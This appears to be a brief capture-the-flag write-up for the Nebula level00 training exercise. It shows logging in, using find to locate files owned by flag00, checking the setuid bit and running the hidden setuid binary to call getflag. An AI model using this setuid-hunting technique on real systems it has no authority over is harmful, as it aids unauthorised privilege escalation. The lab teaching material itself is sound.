I used Linux/Ubuntu setting in VMWare.
This level requires you to find a Set User ID program that will run as the “flag00” account.
nebula login: level00 Password: level00 find / -type f -user flag00 2>/dev/null #find files owned by flag00 (ignoring errors) stat /rofs/bin/.../flag00 #check the obvious file if it has setuid /rofs/bin/.../flag00 #run it getflag #get our flag
You have successfully executed getflag on a target account.
s indicates setuid.